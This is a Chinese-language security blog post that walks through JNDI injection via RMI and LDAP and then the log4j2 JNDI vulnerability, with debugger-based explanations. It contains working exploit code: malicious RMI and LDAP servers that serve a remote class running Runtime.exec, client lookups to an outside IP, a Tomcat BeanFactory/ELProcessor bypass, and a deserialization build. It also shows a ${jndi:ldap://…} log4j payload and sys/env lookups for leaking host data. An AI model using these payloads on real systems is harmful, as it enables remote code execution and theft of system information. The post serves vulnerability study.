从JNDI注入到log4j注入
本文章首发于先知社区从JNDI注入到log4j漏洞
今天闲的慌,不知道学些什么,于是去NSS上找一下java的题目想着刷点题,于是刷到了一题log4j的题目,一直都能听说这个log4j的核弹级漏洞的威名想着学一下,于是就有了这篇文章
JNDI
首先我们要先了解一下什么是JNDI
JNDI全名(Java Naming and Directory Interface即Java命名和目录接口)
命名服务
命名服务的主要功能是将人们的友好名称映射到对象,例如地址、标识符或计算机程序通常使用的对象。
例如,Internet 域名系统 (DNS) 将计算机名称映射到 IP 地址:
www.example.com ==> 192.0.2.5
文件系统将文件名映射到程序可用于访问文件内容的文件引用。
c:\bin\autoexec.bat ==> File Reference
目录服务
许多命名服务都使用目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联。
目录服务 = 命名服务 + 包含属性的对象
您不仅可以按对象名称查找对象,还可以获取对象的属性或根据对象的属性搜索对象。
例如,电话公司的目录服务。它将订阅者的姓名映射到他的地址和电话号码。计算机的目录服务与电话公司的目录服务非常相似,因为两者都可用于存储电话号码和地址等信息。然而,计算机的目录服务要强大得多,因为它可以在线获得,并且可以用来存储用户、程序甚至计算机本身和其他计算机可以使用的各种信息。
directory 对象表示计算环境中的对象。例如,目录对象可用于表示打印机、人员、计算机或网络。directory 对象包含描述它所表示的对象的属性。
JNDI可以用多种服务对,对象进行命名,挂载。
RMI
JNDI使用RMI的方式与很像1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//Server.java
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext ic = new InitialContext();
Reference ref = new Reference("EvilObj","EvilObj","http://127.0.0.1:8000");
ic.rebind("rmi://localhost:1099/EvilObj",ref);
/* ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("RCE",wrapper);*/
}
}
//Client.java
import org.omg.CORBA.IRObject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
ic.lookup("rmi://localhost:1099/EvilObj");
}
}
//EvilObjv
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class EvilObj extends UnicastRemoteObject implements ObjectFactory {
public EvilObj() throws RemoteException {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var2) {
IOException e = var2;
e.printStackTrace();
}
}
public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
//恶意类是需要实现ObjectFactory接口的,即恶意工厂
运行上面的代码就会发现JNDI的客户端加载了服务端上的EvilObj
一路调试会发现其最后弹计算机也就是触发命令执行的地方并不在JNDI这个包下而是进入了NamingManager
最后在loadClass里发现forName来加载类,而forName加载的是本地的类,而本地并没有我们的恶意类。我们继续调试
会发现其判断clas是否为空,codebase是否为空。当我们前面forName加载成功时就不会进入反之。
而后继续远程加载类
最后发现其将加载的类进行了实例化,即会运行恶意类中构造方法中的恶意代码
使用如果一个JNDI其lookup内的url可控,那么我们就就可以让其指向我们的恶意rmi服务器从而使其造成命令执行
Ldap
这个漏洞在爆出来后很快就被官方打了补丁。如下
上面的代码定义了一个系统变量trustURLCodebase。默认为false
上面的代码对trustURLCodebase进行了判断,我们可以发现因为起默认为false,这导致我们无法加载远程的url的类
其补丁将rmi进行了检测导致我们无法利用rmi来进行命令执行,但是其没有对Ldap进行过滤,所有我们还可以使用Ldap来进行命令执行
使用如下代码起一个Ldap加载恶意类的服务1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class Ldap {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilObj"};
int port = 2234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
上面的java代码可以打包成jar包而后放在vps上运行。
而后Client端与之前RMi的相似1
2
3
4
5
6
7
8
9
10
11
12
13
14//import org.omg.CORBA.IRObject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
//ic.lookup("rmi://111.230.38.159:1099/EvilObj");
//ic.lookup("rmi://192.168.20.1:1099/EvilObj");
ic.lookup("ldap://111.230.38.159:2234/EvilObj");
}
}
成功弹出计算机
调试了一下,发现最终的运行位置与RMi相同。
更高版本的绕过
像Ldap只能绕过8u191之前的JDK我们这里手动调一下
我们可以发现其在远程加载codebase的lodaClass下也加了一个trustURLCodebase这个参数。而这个参数默认肯定是false,即其不允许我们使用远端的codebase来加载工厂
但是其只尝试了对远程加载进行了限制,那么我们就可以尝试使用其本地的类来尝试进行命令执行。
而这个类是要实现了ObjectFactory。
我们在调试的时候就可以发现,每次在调试时都会调用这个getObjectInstance方法。那么我们可以尝试在哪些实现了ObjectFactory接口的getObjectInstance方法里寻找是否存在可以利用的部分
Tomcat9.62
首先在tomcat9.62及其之前下存在一个类实现了ObjectFactory且我们可以利用其反射来进行命令执行。
在此之前我们要先了解一个命令执行的姿势,利用ELProcessor来进行命令执行。
ELProcessor内存在一个eval方法,其会对命令进行反射调用,我这里写个demo1
2
3
4
5
6
7
8import javax.el.*;
public class DEMO {
public static void main(String[] args) {
ELProcessor processor = new ELProcessor();
processor.eval("Runtime.getRuntime().exec(\"calc\")");
}
}
我们在eval下打个断点简单调试一下,会发现其最后利用了反射的方法进行了命令执行
我们把视线重新转到实现了ObjectFactory的可利用类下。
这个可以被利用的类就是tomcat的BeanFactory类
最终其会在BeanFactory下的一个反射类调用触发命令执行,而这些参数都是我们可以控制的,接下来我会通过调试攻击过程的方式来,讲述漏洞的触发过程
1 | //Server.java |
前面实例化工厂的部分与RMI和Ldap的大同小异。
会进入NamingManager下的getObjectInstance来进行实例化
最后实例化得到了工厂
得到工厂后会走到如下代码从而进入BeanFactory的getObjectInstance
其传入的参数ref,就是我们再Server中实例化的ResourceRef类值如下1
ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=faster=eval},{type=faster,content=Runtime.getRuntime().exec("calc")}]
而后其通过ref.getClassName()来获取我们ResourceRef类的内部的resourceClass名,即我们在Server中传入的javax.el.ELProcessor。
而后通过类加载其来得到这个类。命名为beanClass
之后将beanClass实例化为bean。
再获取ref内Type为forceString的内容赋值给ra,而forceString的内容为faster=eval。
而后又创建了一个HashMap,变量名为forced。
然后进入一个循环,将ra的getContent取出传入Value,而后将value的内容faster=eval
放入数组arr$
内。
后面又将数组内的值取出赋值给param,然后截取=前的所有字符赋值为param,之后的赋值为propName
然后将param作为键放入到之前定义的map forced中,其值为一个反射调用,其调用的,beanClass.getMethod(propName, paramTypes)
,其放射获取的内容就是ELProcessor下的eval方法。
之后进入一个do while循环。这个循环会获取ref中的Type键的值。直到获取到非规定内容的Type的键值对。即其将ra定义为我们的传入的那个StringRefAddr
最终会将propName赋值为我们定义的Type:faster
最后其再从Map中拿出键为faster的值,也就是我们的eval方法。
而其value获取ra的Content,其值就是我们命令执行的代码。Runtime.getRuntime().exec("calc")
最后放射调用的代码其实就是 eval.invoke(bean,'Runtime.getRuntime().exec("calc")')
bean也就是ELProcessor的实例。
这样就可以命令执行了
在tomcat的9.62之后的版本里,其将之前的method.invoke(bean,valueArray)直接进行了删除,这就到导致了我们无法在使用之前的方法进行命令执行
原生反序列化
JNDI注入通过Ldap的方法是可以触发反序列的。
前面我写的Ldap高版本的注入的exp是自己搭建的Ldap服务器,但这样太过于麻烦,于是我尝试再网上找项目,于是我便找到了如下项目。
JNDI-Exploit-Bypass-Demo
使用这个项目需要我们自己进行打包
食用方法1
2
3mvn package
java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 0.0.0.0 8088 1099
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389
这个项目内有个Ldap反序列化触发的java文件我们打打包前要对其进行修改
将其反序列化的payload进行更改,我这里改成了CC1的链
可以看到服务器也显示了请求记录
我们调试一下客户端。
前半部分都相同,而后面其检测了传入值attrs的JAVA_ATTRIBUTES[SERIALIZED_DATA]
属性。
而这个JAVA_ATTRIBUTES[SERIALIZED_DATA]
得到的就是字符串javaSerializedData
而后会进入deserialzeObject方法
这就是标准的反序列化了。
这样就触发反序列化漏洞。
log4j2
JNDI的成因
在log4j2的2.0-beta9 到 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)版本内存在着JNDI注入的CVE-2021-44228
改漏洞的利用方式很简单。1
2
3
4
5
6
7
8
9
10
11
12package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String username = "${jndi:ldap://111.xxx.xxx.159:389/EvilObj}";
logger.error("hello {}",username);
}
}
起一个JNDI服务器然后运行上面的脚本就会发现成功命令执行
log4j2的漏洞主要出现在 org.apache.logging.log4j.core.lookup.StrSubstitutor类上。
这个类会先堆${
进行匹配
然后再匹配尾部}
以此来提取内部的值
然后会进入resolveVariable来触发Interpolator的lookup
lookup方法会匹配: 即提取出前面的JNDI。
通过strLookupMap来提取出:前关键词的类。赋值给lookup,然后通过lookup.lookup来调用起地下的lookup
我们寻找这个strLookupMap可以发现如下。
JNDI关键词指向的类就是org.apache.logging.log4j.core.lookup.JndiLookup
所以lookup.lookup会指向JndiLookup.lookup
JndiLookup.lookup下会通过jndiManager.lookup来进行JNDI的加载。
所以这个log4j可以通过${jndi:ldap://xxxx}
就可以进行jndi注入
拓展
在这里我们可以看到map还有指向其他的类。如sys
我们打开其指向的类
我们可以看看到其直接返回了System.getProperty这样我们就可以进行信息探测。如输入的key为java.class.path就可以得到其加载的所有依赖的版本。
1 | package log4j; |
sys的参数
1. Java 运行环境属性
属性名 | 描述 |
---|---|
java.version | Java 运行时环境版本 |
java.vendor | Java 提供商名称 |
java.vendor.url | Java 提供商的 URL |
java.vendor.url.bug | Java 提供商的错误报告页面(Java 9+) |
java.home | Java 安装目录 |
java.class.version | Java 类文件格式版本号 |
java.class.path | Java 类路径 |
java.library.path | 加载库时搜索的路径 |
java.compiler | JIT 编译器的名称(通常为空) |
java.ext.dirs | Java 扩展目录 |
2. JVM 和运行时相关属性
属性名 | 描述 |
---|---|
java.vm.name | Java 虚拟机名称 |
java.vm.vendor | Java 虚拟机提供商 |
java.vm.version | Java 虚拟机版本 |
java.vm.info | Java 虚拟机实现版本和构建信息 |
java.vm.specification.name | Java 虚拟机规范名称 |
java.vm.specification.vendor | Java 虚拟机规范提供商 |
java.vm.specification.version | Java 虚拟机规范版本 |
3. 操作系统相关属性
属性名 | 描述 |
---|---|
os.name | 操作系统名称 |
os.arch | 操作系统架构(如 x86, amd64) |
os.version | 操作系统版本 |
file.separator | 文件分隔符(Linux 是 /,Windows 是 \) |
path.separator | 路径分隔符(Linux 是 :,Windows 是 ;) |
line.separator | 行分隔符(Linux 是 \n,Windows 是 \r\n) |
4. 用户相关属性
属性名 | 描述 |
---|---|
user.name | 当前用户的用户名 |
user.home | 当前用户的主目录 |
user.dir | 当前工作目录 |
user.language | 用户的默认语言 |
user.country | 用户的默认国家 |
user.timezone | 用户的默认时区 |
5. 国际化相关属性
属性名 | 描述 |
---|---|
file.encoding | 文件编码 |
sun.jnu.encoding | Java 编译器使用的文件编码 |
sun.cpu.isalist | 当前系统支持的 CPU 指令集 |
sun.desktop | 桌面环境名称(如 windows、gnome) |
6. 特殊属性(供应商扩展)
属性名 | 描述 |
---|---|
sun.arch.data.model | JVM 数据模型(32 位或 64 位) |
sun.boot.library.path | JVM 引导库的路径 |
java.specification.name | Java 运行环境规范的名称 |
java.specification.vendor | Java 运行环境规范的提供商 |
java.specification.version | Java 运行环境规范的版本 |
env
env也可以进行环境变量的读取登
env参数
环境变量名 | 说明 | 示例值 |
---|---|---|
PATH | 可执行文件的搜索路径 | /usr/bin:/bin:/usr/local/bin |
HOME | 当前用户的主目录 | /home/user 或 C:\Users\User |
USER | 当前登录的用户名 | root 或 john_doe |
SHELL | 当前使用的 shell 程序 | /bin/bash 或 /bin/zsh |
JAVA_HOME | Java 安装路径 | /usr/lib/jvm/java-17-openjdk |
CLASSPATH | Java 类路径 | .:/lib:/usr/lib |
TEMP / TMP | 临时文件存储目录 | /tmp 或 C:\Windows\Temp |
OS | 操作系统名称(Windows 特有) | Windows_NT |
COMPUTERNAME | 当前计算机名(Windows 特有) | MY-PC |
USERNAME | 当前用户的用户名(Windows 特有,与 USER 类似) | Administrator |
PWD | 当前工作目录(Linux/macOS) | /home/user/project |
LOGNAME | 当前用户的登录名(Linux/macOS) | john_doe |
EDITOR | 默认的文本编辑器 | vim 或 nano 或 notepad |
LANG | 系统的语言和地区设置 | en_US.UTF-8 或 zh_CN.UTF-8 |
LC_ALL | 覆盖其他语言和地区设置 | en_US.UTF-8 |
HOSTNAME | 当前主机名(Linux/macOS) | my-host |
DISPLAY | 图形显示设备(X11 图形系统) | :0 |
XDG_SESSION_TYPE | 当前会话类型(Linux 桌面环境) | x11 或 wayland |
XDG_CURRENT_DESKTOP | 当前桌面环境名称 | GNOME 或 KDE |
当前用户的邮箱目录路径 | /var/mail/user | |
SSH_CLIENT | 当前 SSH 客户端连接信息 | 192.168.1.10 22 192.168.1.2 |
SSH_CONNECTION | 当前 SSH 连接详细信息 | 192.168.1.10 22 192.168.1.2 5678 |
SSH_TTY | 当前 SSH 会话使用的伪终端路径 | /dev/pts/0 |
TERM | 当前终端类型 | xterm-256color 或 screen |
UID | 当前用户的用户 ID(Linux/macOS) | 1000 或 0(表示 root 用户) |
GID | 当前用户的组 ID | 1000 |
OLDPWD | 上一个工作目录(Linux/macOS) | /home/user/previous_project |
http_proxy | HTTP 代理服务器地址 | http://proxy.example.com:8080 |
https_proxy | HTTPS 代理服务器地址 | https://proxy.example.com:8080 |
NO_PROXY | 不使用代理的地址 | localhost,127.0.0.1 |
APPDATA | 应用数据目录路径(Windows 特有) | C:\Users\User\AppData\Roaming |
PROGRAMFILES | 默认安装程序的目录(Windows 特有) | C:\Program Files |
WINDIR | Windows 系统目录路径(Windows 特有) | C:\Windows |
而这个log4j的漏洞在2.15之后就已经修复了,2.15版本将lookup给禁了,经过在本地尝试像sys,env这种获取敏感信息的方式也无法使用了